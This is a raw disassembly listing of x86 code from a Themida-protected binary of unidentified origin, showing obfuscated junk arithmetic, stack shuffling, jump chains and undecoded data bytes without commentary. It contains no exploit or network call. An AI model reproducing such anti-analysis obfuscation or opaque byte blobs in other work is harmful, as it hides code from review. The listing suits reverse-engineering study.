		xor	eax, 0CD489C27h
		add	ebp, eax
		jmp	loc_55D285
; ---------------------------------------------------------------------------
		db 0BBh
		dd 22F8619Eh, 7DA2CB81h, 0E94B5A3Ch, 4B54h, 68E68956h
		dd 2576h, 0FFF115E9h, 0FFED80FFh, 0B652E5D0h, 5AF52823h
		dd 83A2F580h, 48904ECh,	2838B024h, 0C38058C3h, 80EB28AAh
		dd 0C380AAEBh, 240C8B38h, 8004C483h, 0DA28C0EAh, 8BC0C280h
		dd 0C481241Ch, 4, 685AD028h, 474Fh, 0B7241C89h,	5CF568BFh
		dd 4890000h, 4EC8124h, 89000000h, 0EB3241Ch, 0E9D98851h
		dd 0DE9Ah
; ---------------------------------------------------------------------------


loc_5542A8:				; CODE XREF: Themida_:00559073j
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_563CB1
; ---------------------------------------------------------------------------
		db 29h,	0EFh, 8Bh
		dd 0C481242Ch, 4, 1BCBE9h
		db 0
byte_5542C5	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FD4Co
		dd 4EC8324h, 0E9241489h, 9413h
; ---------------------------------------------------------------------------


loc_5542D4:				; CODE XREF: Themida_:0055BAA3j
		sub	esi, 7B512879h
		jmp	loc_55F7A7
; ---------------------------------------------------------------------------
		db 29h
		dd 0DD895EF3h, 0BAAEE9h, 0FFD00100h, 835A2434h,	0C80104C4h
		dd 0E6AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5542F9:				; CODE XREF: Themida_:00553B71j
		push	15E7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_550055
; ---------------------------------------------------------------------------


loc_55430D:				; CODE XREF: Themida_:0055C98Dj
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_550E9E
; ---------------------------------------------------------------------------
		dd 36EF68h, 241C8900h, 0ED6C01BBh, 3929684Eh, 31587852h
		dd 0E9505BD8h, 975Bh
; ---------------------------------------------------------------------------


loc_554340:				; CODE XREF: Themida_:005527EAj
		and	esi, ecx
		jmp	loc_556B73
; ---------------------------------------------------------------------------
		db 0FFh
a4SM		db '4$é',0Ah
		db 'Œ',0
		dw 8100h
		dd 4ECh, 24248900h, 50B85057h, 0BF28C179h, 28C17954h, 1BE9C729h
		dd 10000DEh, 24148BD3h,	4C481h,	0A9E90000h, 5A000056h
		dd 0E95BD800h, 2523h
; ---------------------------------------------------------------------------


loc_554384:				; CODE XREF: Themida_:00555A69j
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		jmp	loc_55D5D2
; ---------------------------------------------------------------------------


loc_554392:				; CODE XREF: Themida_:0055CD2Ej
		add	ecx, 1F7B249Bh
		sub	ecx, edi
		sub	ecx, 1F7B249Bh
		pop	edi
		jmp	loc_5632AC
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24048904h, 0A16EF9B8h, 3A402D4Ch, 0D8F7256Dh, 168AC335h
		dd 8E950ACh
		db 9Bh,	2 dup(0)
byte_5543C3	db 66h			; DATA XREF: Themida_:0054FE5Co
		dd 68240C8Bh, 0C3Ah, 54243489h
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_553DB4
; ---------------------------------------------------------------------------
aMqhr		db '¬Qhà',7,0           ; DATA XREF: Themida_:0054FD20o
		dw 8900h
		dd 75B7241Ch, 0E8B75352h, 87C0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55440D:				; CODE XREF: Themida_:0055272Ej
		not	ebp
		sub	ebp, 2E1C5693h
		dec	ebp
		xor	ebp, 2D4A19E5h
		xor	edx, ebp
		pop	ebp
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_55700C
; ---------------------------------------------------------------------------


loc_55443B:				; CODE XREF: Themida_:005519C9j
		mov	[esp], eax
		push	edx
		push	75725DCh
		pop	edx
		add	edx, 0F8A8DA40h
		jmp	loc_55B17F
; ---------------------------------------------------------------------------
		dd 241CF757h, 0FFC7815Fh, 0F7FFFFFFh, 17B868D7h, 1C890000h
		dd 6D95BB24h, 0DF014896h, 2FDCE9h, 4EC8300h, 83241C89h
		dd 348904ECh, 71796824h, 4E5E4565h, 773768h, 242C8900h
		dd 894FE9h, 0E3895300h,	319D68h, 24048900h, 4B8h, 58C30100h
		dd 0FFC441E9h, 24048BFFh, 8004C483h, 0FE286DC6h, 8B6DEE80h
		dd 2CE9241Ch, 25FFFFD7h, 111C7360h, 31005135h, 0EF330573h
		dd 1AE9DC26h
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5544D3:				; CODE XREF: Themida_:0055D61Fj
		shl	eax, 7
		shr	eax, 1
		not	eax
		sub	eax, 664BF257h
		and	ebx, eax
		pop	eax
		sub	ebx, 4567D822h
		mov	esi, ebx
		pop	ebx
		add	ebx, 6BAA19B7h
		sub	ebx, esi
		sub	ebx, 6BAA19B7h
		jmp	loc_562394
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0E2895224h, 0FFBD7BE9h, 0FEBAB1FFh, 3AE980C1h, 8020C180h
		dd 0D56886E9h, 89000077h, 0CC882404h, 90FE9h, 97553500h
		dd 0C5211BFFh, 14F75558h, 0E1A3E924h, 0EE81FFFFh, 0ABD4819h
		dd 0B943E9h, 51505A00h,	0A44782B9h, 0CFEEB819h,	0C8013962h
		dd 7762E9h
		db 0
; ---------------------------------------------------------------------------


loc_554555:				; CODE XREF: Themida_:00553FD4j
		mov	[esp], ebp
		mov	ebp, 1
		and	eax, ebp
		jmp	loc_564855
; ---------------------------------------------------------------------------


loc_554564:				; CODE XREF: Themida_:005548E4j
		mov	[esp], edx
		mov	edx, 38A5795Dh
		and	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55EDC4
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0AFh
		dd 0E905AA3Ch, 7D74h
; ---------------------------------------------------------------------------


loc_554584:				; CODE XREF: Themida_:0055CEFDj
		pop	eax
		add	edx, eax
		sub	edx, 77ED24F2h
		pop	eax
		jmp	loc_562B5E
; ---------------------------------------------------------------------------


loc_554593:				; CODE XREF: Themida_:00561118j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 57961B94h
		xor	esi, ebp
		pop	ebp
		jmp	loc_555592
; ---------------------------------------------------------------------------


loc_5545A4:				; CODE XREF: Themida_:00563DDDj
		pop	ebx
		sub	esi, eax
		add	esi, 30072753h
		jmp	loc_55C5CC
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 7AD8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5545BD:				; CODE XREF: Themida_:0055273Cj
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		jmp	loc_55A480
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aZsts		db 'ZSTé>×',0
		align 10h
		dd 34663BBDh, 58C531C5h, 0BE5BDD01h, 140EA7C5h,	0E0A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5545F5:				; CODE XREF: Themida_:00556816j
		xor	dh, 7Bh
		jmp	loc_55976A
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 3
aPsY		db 'PéÚY',0
		align 2


loc_554606:				; CODE XREF: Themida_:005622ACj
		mov	dl, 80h
		jmp	loc_554FC3
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 34FEE9h
		db 0
; ---------------------------------------------------------------------------


loc_554615:				; CODE XREF: Themida_:005609C0j
		mov	ebx, [esp]
		jmp	loc_555F55
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 8124048Fh, 4ECh, 242C8900h, 4BDh,	24448100h, 4B628B04h
		dd 246C813Fh, 0C208F904h, 94F9E90Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55464A:				; CODE XREF: Themida_:0055E699j
		add	esp, 4
		add	eax, 0BB5BA77Bh
		jmp	loc_55F301
; ---------------------------------------------------------------------------


loc_554657:				; CODE XREF: Themida_:0055098Fj
		mov	esi, 241C079Fh
		add	eax, esi
		pop	esi
		add	eax, 5020283Dh
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_55996B
; ---------------------------------------------------------------------------


loc_554675:				; CODE XREF: Themida_:0055FEEAj
		pop	esp
		pop	ebx
		jmp	loc_555D61
; ---------------------------------------------------------------------------
		dd 582434FFh, 4C481h, 0C1830000h, 74FF5102h, 8F590424h
		dd 248B2404h, 2424D224h, 1B45E99Ch, 0C2810000h,	42817BACh
		dd 0BFE9EA01h, 8B0000B2h, 0E9522434h, 0BB23h, 0B6241489h
		dd 806EB400h, 0F42840ECh, 5A40C480h, 48BE530h, 4C48124h
		dd 80000000h, 25E9FAC5h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5546D7:				; CODE XREF: Themida_:00552E97j
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55E706
; ---------------------------------------------------------------------------


loc_5546E8:				; CODE XREF: Themida_:0055A6B8j
		pop	esp
		jmp	loc_56054B
; ---------------------------------------------------------------------------
		dw 0E8B6h
		dd 63E9F730h, 890000EFh, 4C781E7h, 83000000h, 45E904C7h
		dd 51FFFFF9h, 4E9C0B5h,	29000073h, 1FF068D8h, 3C890000h
		dd 4C58BF24h, 5368594Ah, 8900004Eh, 0AABB241Ch,	4B1A3B18h
		dd 7E2CE9h
		db 0
; ---------------------------------------------------------------------------


loc_554731:				; CODE XREF: Themida_:0055BA6Dj
		xor	[esp], esi
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_565157
; ---------------------------------------------------------------------------
		dd 405E089h, 57000000h,	4BFh, 51DE900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55475E:				; CODE XREF: Themida_:005652C1j
		push	ecx
		mov	ecx, 3B4A0B0Ah
		and	ecx, 4EB031C5h
		sub	ecx, 2A2A5BB8h
		not	ecx
		shr	ecx, 1
		shl	ecx, 4
		add	ecx, 64C4370Dh
		jmp	loc_552C22
; ---------------------------------------------------------------------------


loc_554782:				; CODE XREF: Themida_:00564F9Fj
		pop	esp
		jmp	loc_558E65
; ---------------------------------------------------------------------------


loc_554788:				; CODE XREF: Themida_:0055E4FBj
		push	ebp
		mov	ebp, 7313F5C8h
		add	esi, ebp
		pop	ebp
		jmp	loc_556FEF
; ---------------------------------------------------------------------------
		dw 5401h
		dd 0E95A0824h, 0FFFFE343h, 15E9D689h, 83000018h, 348904ECh
		dd 38E95324h, 66000035h, 0D5E9505Ah, 0E9FFFFF1h, 0FFFFB757h
; ---------------------------------------------------------------------------


loc_5547C0:				; CODE XREF: Themida_:0056161Cj
		pop	ebx
		mov	eax, [esp]
		add	esp, 4


loc_5547C7:				; CODE XREF: Themida_:005531C3j
					; Themida_:0055CE5Cj
		push	12B0h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	esi
		push	esp
		jmp	loc_558BF9
; ---------------------------------------------------------------------------
		dw 0EC68h
		dd 89000008h, 0EEBE2434h, 0E9213806h, 785h, 0E98EE780h
		dd 0E39Eh, 1E5DF868h, 2434FF2Ah, 0B9EDE9h, 4EC8100h, 89000000h
		dd 8B54240Ch, 43E9240Ch
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554813:				; CODE XREF: Themida_:005504F5j
		mov	[esp], ebp
		mov	ebp, 707A355Ch
		sub	ebp, 1
		add	ebp, 3A08644Ch
		jmp	loc_5576AD
; ---------------------------------------------------------------------------
		dd 0E4800AB4h, 7DF480D0h, 0E4C0C4FEh, 0D2B75305h, 0E95BFC30h
		dd 3E6Dh
; ---------------------------------------------------------------------------


loc_554844:				; CODE XREF: Themida_:00554AEEj
		add	edx, 4
		add	edx, 4
		jmp	loc_55CED9
; ---------------------------------------------------------------------------


loc_554852:				; CODE XREF: Themida_:00552140j
		add	esp, 4
		jmp	loc_559BBA
; ---------------------------------------------------------------------------


loc_55485A:				; CODE XREF: Themida_:00557871j
		pop	esi
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_555021
; ---------------------------------------------------------------------------
		dw 0C89h
aTsm		db '$Tém·',0
		dw 8B00h
		dd 0C483243Ch, 0A49DE904h, 0C3810000h, 0DF92E06h, 1E1E9h
		dd 79EE8100h, 5A2DC17Dh, 0E906E6C1h, 5B97h
; ---------------------------------------------------------------------------


loc_554894:				; CODE XREF: Themida_:0055C995j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_558F1D
; ---------------------------------------------------------------------------
		dd 62CCE781h, 0C7814F4Ch, 0B5F39D3Ch, 835FFE01h, 148904ECh
		dd 46824h, 148B0000h, 4C48324h,	685AD601h, 6A32h, 0FF243489h
		dd 0E9042474h, 0EA56h, 4BDh, 813BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5548DE:				; CODE XREF: Themida_:0055EEBCj
		pop	esi
		push	6DC9h
		jmp	loc_554564
; ---------------------------------------------------------------------------
		db 83h,	0C5h, 4
		dd 8B242C87h, 0D8E92424h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5548F7:				; CODE XREF: Themida_:00562EFFj
		mov	[esp], eax
		push	esi
		push	64A95535h
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 43AB2ADCh
		jmp	loc_564E30
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C3h
		dd 4, 8702C383h, 665C241Ch, 2404AB0Fh, 0DAD1E99Ch, 9E680000h
		dd 54000042h, 5524048Fh, 4BA52h, 0D7E90000h, 88000037h
		dd 59CB88C1h, 427E6852h, 0C890000h, 0E9D98824h,	0FFFFEC1Dh
		dd 6BE9D629h, 53000103h, 97D0E9h
		db 0
; ---------------------------------------------------------------------------


loc_554961:				; CODE XREF: Themida_:0056392Fj
		pop	esp
		sub	edi, 365B6FA9h
		sub	edi, ecx
		jmp	loc_551F74
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 6328BB24h, 0F74372A9h, 6257E9DBh,	0C1010000h
		dd 48AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_554989:				; CODE XREF: Themida_:0055EBA7j
		mov	ecx, 6ED03E7Ch
		sub	ecx, 0C68972FCh
		add	ebp, ecx
		jmp	loc_562F57
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BD5503E6h, 4E1270E0h, 4F78C681h, 0EE016F70h, 6C35E9h
		dd 0C8B6600h, 7C8E924h,	0C2290001h, 74FF5258h, 148B0424h
		dd 2E57E924h, 0C870000h, 0DDE95C24h, 59FFFFB9h,	6E9C15Eh
		dd 0BF49E981h, 0C181F0F1h, 2F261776h, 35DF181h,	0E953225Ah
		dd 0BBA6h, 405h, 8CE5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5549FA:				; CODE XREF: Themida_:00556AF8j
		sub	esp, 2
		mov	[esp], si
		push	edx
		mov	dx, 6BA7h
		sub	dx, 1
		jmp	loc_55A356
; ---------------------------------------------------------------------------
		dw 489h
		dd 11E5B824h, 0C3012588h, 95C38158h, 81473B62h,	0CC3362C3h
		dd 0FAF6E922h, 0E95C0000h, 0EB9Fh
; ---------------------------------------------------------------------------


loc_554A34:				; CODE XREF: Themida_:00558AC6j
		add	ecx, edi
		pop	edi
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_55F16F
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 69h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554A5B:				; CODE XREF: Themida_:0055EDBFj
		xchg	ebx, [esp]
		pop	esp
		and	eax, ebp
		jmp	loc_561BB9
; ---------------------------------------------------------------------------
		dw 8758h
		dd 4BE9241Ch
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554A6F:				; CODE XREF: Themida_:0055FB94j
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 63A65F41h
		inc	ecx
		xchg	ebp, ecx
		not	ebp
		xchg	ebp, ecx
		and	ecx, 11C82974h
		add	ecx, 285B6023h
		sub	ecx, 38A38053h
		jmp	loc_550A28
; ---------------------------------------------------------------------------


loc_554A9B:				; CODE XREF: Themida_:005607A5j
		push	dword ptr [esp]
		pop	edx
		push	1885h
		mov	[esp], edx
		mov	edx, esp
		push	esi
		mov	esi, 4B460BA0h
		or	esi, 520F4BD8h
		jmp	loc_55D11D
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 0C1000000h, 0C38106EBh, 4B4A50CFh,	8101EB83h
		dd 0AD3940C3h, 123E922h, 0BC0D0001h, 254CF84Dh,	10065355h
		dd 3554E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554AEA:				; CODE XREF: Themida_:00565323j
		pop	edx
		push	edx
		push	esp
		pop	edx
		jmp	loc_554844
; ---------------------------------------------------------------------------


loc_554AF3:				; CODE XREF: Themida_:0055AC90j
		and	edi, esi
		pop	esi
		not	edi
		push	ebp
		mov	ebp, 0DD5E94E1h
		jmp	loc_55D495
; ---------------------------------------------------------------------------
byte_554B03	db 66h			; DATA XREF: Themida_:0054FDC0o
		dd 0E924048Bh, 4793h, 772668h, 24048900h, 1B83E9h, 5E585600h
		dd 5596D6F7h, 0FFC0EEE9h, 1B850FFh, 1000000h, 0F93158C7h
		dd 0F931CF31h, 26BD5541h, 0C1372402h, 0F58108EDh, 9AD3F50h
		dd 0E902E5C1h, 0A642h, 0C781DF01h, 2EF0425Eh, 57241C8Bh
		dd 52E9E789h, 5AFFFFB4h, 4C481h, 47E90000h, 89FFFFFAh
		dd 0E1C15DE9h, 8DC18104h, 815A68AFh, 4ECh, 243C8900h, 0E8F2BEBFh
		dd 5FF901BAh, 7CCABE56h, 0F0011B1Fh, 2DC8295Eh,	1B1F7CCAh
		dd 4257E9h
		db 0
; ---------------------------------------------------------------------------


loc_554B9D:				; CODE XREF: Themida_:00553100j
		push	ecx
		mov	ecx, 4516E0Ah
		or	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 730338ECh
		sub	eax, 57014F33h
		jmp	loc_553513
; ---------------------------------------------------------------------------
		db 87h
		dd 1AE92414h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554BC3:				; CODE XREF: Themida_:00560B5Dj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1F86A72h
		add	ebp, esi
		pop	esi
		jmp	loc_54FF4E
; ---------------------------------------------------------------------------


loc_554BD9:				; CODE XREF: Themida_:0055162Cj
		push	7EDAh
		jmp	loc_55AC37
; ---------------------------------------------------------------------------
		db 81h
		dd 0DC5522EFh, 0E9F72939h, 0BF3Dh
; ---------------------------------------------------------------------------


loc_554BF0:				; CODE XREF: Themida_:0055F97Cj
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_55BE0D
; ---------------------------------------------------------------------------


loc_554C09:				; CODE XREF: Themida_:00563004j
		pop	ebx
		and	ebx, 0C470618h
		push	eax
		mov	eax, 7D862DD5h
		and	ebx, eax
		jmp	loc_55B871
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 3Eh
		dd 1783219h, 0BA5257F3h, 26666F97h, 0E0CE9h, 20E95000h
		db 9, 1, 0
; ---------------------------------------------------------------------------


loc_554C37:				; CODE XREF: Themida_:0056438Bj
		sub	[esp+4], esi
		add	dword ptr [esp+4], 2F573649h
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	esp
		jmp	loc_563E78
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 242C895Ch, 8904EC83h, 0BF572424h, 4,	4247C01h, 0BB535D5Fh
		dd 4, 291BBA52h, 95E976D6h, 810000A5h, 2A346BC3h, 5AC3813Dh
		dd 0E92E4663h, 0BC09h, 4EC8355h, 5D243C89h, 83243C8Bh
		dd 0D7F704C4h, 0E3E9FD87h, 0BB000095h, 4EA872D3h, 295BDA01h
		dd 2434FFD0h, 8324148Bh, 895104C4h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 0FFC2015Ch,	51582434h, 0C181E189h
		dd 4, 4C181h, 0C870000h, 0E9575C24h, 872Ch, 54240489h
		dd 11D8E9h, 0E9FE8700h,	0FFFFF0F3h
; ---------------------------------------------------------------------------


loc_554CF8:				; CODE XREF: Themida_:0055C1B2j
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_54FF17
; ---------------------------------------------------------------------------


loc_554D06:				; CODE XREF: Themida_:00552F08j
		add	bl, dl
		pop	edx
		push	esi
		jmp	loc_5628A2
; ---------------------------------------------------------------------------


loc_554D0F:				; CODE XREF: Themida_:00550097j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, 40BC104Dh
		neg	esi
		xor	esi, 0E63FDBCEh
		jmp	loc_55021B
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 361EC581h, 0E9E93FD2h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554D43:				; CODE XREF: Themida_:00551EABj
		add	edi, ebx
		pop	ebx
		sub	esi, edi
		pop	edi
		pop	edx
		add	ecx, esi
		jmp	loc_560AFF
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 27h
		dd 817BDE6Ch, 0B7C50FC5h, 8BE809DEh, 36E9242Ch,	4FFFFECh
		dd 2044044Eh, 0F58058C5h, 5DB65246h, 0FE16EE80h, 0D1EE80C6h
		dd 0E901B652h, 1055h, 0E9D38766h, 3EA7h
aMh		db '¬hÃ~',0             ; DATA XREF: Themida_:0054FD64o
		align 2
aSi_		db 'éi_',0
		dw 5A00h
		dd offset dword_445750+5599h
		db 0
; ---------------------------------------------------------------------------


loc_554D9D:				; CODE XREF: Themida_:00553C68j
		add	esp, 4
		push	edi
		jmp	loc_562ED7
; ---------------------------------------------------------------------------


loc_554DA9:				; CODE XREF: Themida_:005591DCj
		mov	esp, [esp]
		add	edx, 4
		sub	edx, 4
		jmp	loc_557BC2
; ---------------------------------------------------------------------------
aSn		db '^éN',0Bh,0
		align 10h


loc_554DC0:				; CODE XREF: Themida_:005501A0j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0
		jmp	loc_561621
; ---------------------------------------------------------------------------
		db 5Dh,	0C1h, 0E8h
		dd 0DCA6E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554DE2:				; CODE XREF: Themida_:0055A3F6j
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54FF17
; ---------------------------------------------------------------------------
		db 81h
		dd 9B5712EBh, 81EB297Eh, 9B5712C3h, 242C8B7Eh, 0E904C483h
		dd 94CFh
; ---------------------------------------------------------------------------


loc_554E0C:				; CODE XREF: Themida_:00564114j
		sub	ch, 0FFh
		add	ch, 61h
		jmp	loc_56462C
; ---------------------------------------------------------------------------
		db 52h
		dd 7C605EBAh, 7EAC175h,	0FA04F281h, 0D02160B9h,	8324148Bh
		dd 0E95204C4h, 0AE97h, 0E958E288h, 2E5Bh
; ---------------------------------------------------------------------------


loc_554E3C:				; CODE XREF: Themida_:0055B055j
		add	edx, edi
		mov	[edx], cl
		pop	edx
		jmp	loc_557646
; ---------------------------------------------------------------------------


loc_554E46:				; CODE XREF: Themida_:0055807Ej
		pop	ebx
		jmp	loc_55DBE9
; ---------------------------------------------------------------------------
		dd 47C6815Bh, 1347C0Eh,	47EE81FEh, 81347C0Eh, 5365EEEh
		dd 2434FF74h, 4C4815Fh,	51000000h, 4B9h, 59CE0100h, 2474FF56h
		dd 48F5E04h, 24248B24h,	6E2AE9h, 0EA815D00h, 59BA3329h
		dd 0C281CA01h, 59BA3329h, 0FFC4E3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554E99:				; CODE XREF: Themida_:00560726j
		pop	esi
		push	edx
		neg	dword ptr [esp]
		pop	edx
		not	edx
		push	501Ch
		mov	[esp], esi
		push	6C8Ch
		mov	[esp], edi
		push	0F94CCCh
		jmp	loc_556E1C
; ---------------------------------------------------------------------------
		db 55h
		dd 0A84FB968h, 0F5815D1Eh, 4D03298Dh, 3F16C581h, 0ED8123A5h
		dd 7750A548h, 1C8B5553h, 4C48124h, 53000000h, 0FFBCEAE9h
		dd 24048FFFh, 0E1F7665Ch, 0F6E95456h, 5A000095h, 8B242C87h
		dd 0FFE92424h, 8BFFFFF0h, 0C481243Ch, 4, 0E60EE9h, 0A8685700h
		dd 89000076h, 0E92414h,	8F000019h, 875C2404h, 0EE8745EEh
		dd 0FFE2EE81h, 0F101258Fh, 9968555Eh, 5D23BD64h, 0ED9BE56h
		dd 0E6812496h, 70FF029Fh, 5967BB53h, 0C3816322h, 4A037101h
		dd 0CA69F381h, 6DE9AD25h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554F57:				; CODE XREF: Themida_:0055282Fj
		mov	ebx, 3D7C67C3h
		mov	edi, 427DE74Eh
		sub	edi, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55141F
; ---------------------------------------------------------------------------
		db 46h,	0C1h, 0E6h
		dd 4EC8305h, 0E9240C89h, 0AFD5h
; ---------------------------------------------------------------------------


loc_554F80:				; CODE XREF: Themida_:00558D6Cj
		pop	edi
		push	2C49h
		mov	[esp], eax
		mov	eax, 4
		add	edi, 7674672Ch
		add	edi, eax
		sub	edi, 7674672Ch
		pop	eax
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_555A5F
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 1C8B0000h, 4EC8124h, 89000000h, 87E9243Ch
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554FC3:				; CODE XREF: Themida_:00554608j
		mov	ch, 0CDh
		inc	ch
		jmp	loc_56258D
; ---------------------------------------------------------------------------
		dd 60685256h, 5A4B6E0Bh, 0B64F281h, 0D6894B6Eh,	0BC61E9h
		dd 0BC48000h, 0E924148Bh, 5792h, 875854B8h, 0E6354814h
		dd 484D9950h, 0B41B920Dh, 0F16DE931h, 0FB890000h, 83243C8Bh
		dd 0C9E904C4h, 46FFFFD4h, 19BF5750h, 89DB7284h,	0C6295FF8h
		dd 3E36E9h
		db 0
; ---------------------------------------------------------------------------


loc_555021:				; CODE XREF: Themida_:00554861j
		add	edi, 4
		add	edi, 4
		jmp	loc_562EF6
; ---------------------------------------------------------------------------


loc_55502F:				; CODE XREF: Themida_:005627B0j
		add	esp, 4
		shr	ebp, 7
		dec	ebp
		jmp	loc_561D89
; ---------------------------------------------------------------------------


loc_55503B:				; CODE XREF: Themida_:00561A41j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	4A76h
		mov	[esp], eax
		push	ebx
		mov	ebx, 2DA01E98h
		jmp	loc_5625CF
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 45326804h, 4890000h, 0AEB1E924h
		db 2 dup(0FFh)
word_555066	dw 248Bh		; DATA XREF: Themida_:0054FE90o
		dd 0AEA9E924h, 0EC83FFFFh, 241C8904h, 1D7BAFBBh, 0ABEB8109h
		dd 1091D7Bh, 241C8BDAh,	14D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_555089:				; CODE XREF: Themida_:00558009j
		pop	esp
		mov	[esp], edx
		mov	edx, 62B911DCh
		jmp	loc_55A766
; ---------------------------------------------------------------------------
		db 68h
		dd 689Ch, 0BE243489h, 2, 685EF301h, 33A6h, 89243C89h, 4C781E7h
		dd 83000000h, 3C3304EFh, 0D27FE924h, 0C330000h,	240C3124h
		dd 2B5FE9h, 81DFF700h, 0FFFFFFEFh, 0CBB53FFh, 817A1813h
		dd 555371CBh, 0E3814336h, 654357D7h, 11DFE9h, 240C3300h
		dd 0FFB0DCE9h, 6C29B9FFh, 0F1817903h, 59CC5301h, 159CF29h
		dd 28C781DFh, 8120CF3Fh, 7B7918EFh, 0D1C78139h,	0E9173303h
		dd 0DBFFh
; ---------------------------------------------------------------------------


loc_55511C:				; CODE XREF: Themida_:00561A90j
		cmp	eax, edx
		jz	loc_55E905
		push	ebp
		push	22DBh
		mov	[esp], eax
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		jmp	loc_559806
; ---------------------------------------------------------------------------
		db 5Dh
		dd 15EF389h, 0D0E95BDAh, 58FFFFADh, 0A34959BFh,	0E9C72997h
		dd 0EBFBh
; ---------------------------------------------------------------------------


loc_555154:				; CODE XREF: Themida_:00557802j
		mov	[esp], esi
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		jmp	loc_55CC77
; ---------------------------------------------------------------------------
		dd 57E9CAFEh, 83FFFFAFh, 0B3E904ECh
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555173:				; CODE XREF: Themida_:00551802j
		shl	edi, 5
		xor	edi, 43280A26h
		xor	edi, 70E021C6h
		push	edi
		xor	dword ptr [esp], 106822BCh
		pop	edx
		xor	edx, 106822BCh
		jmp	loc_559A75
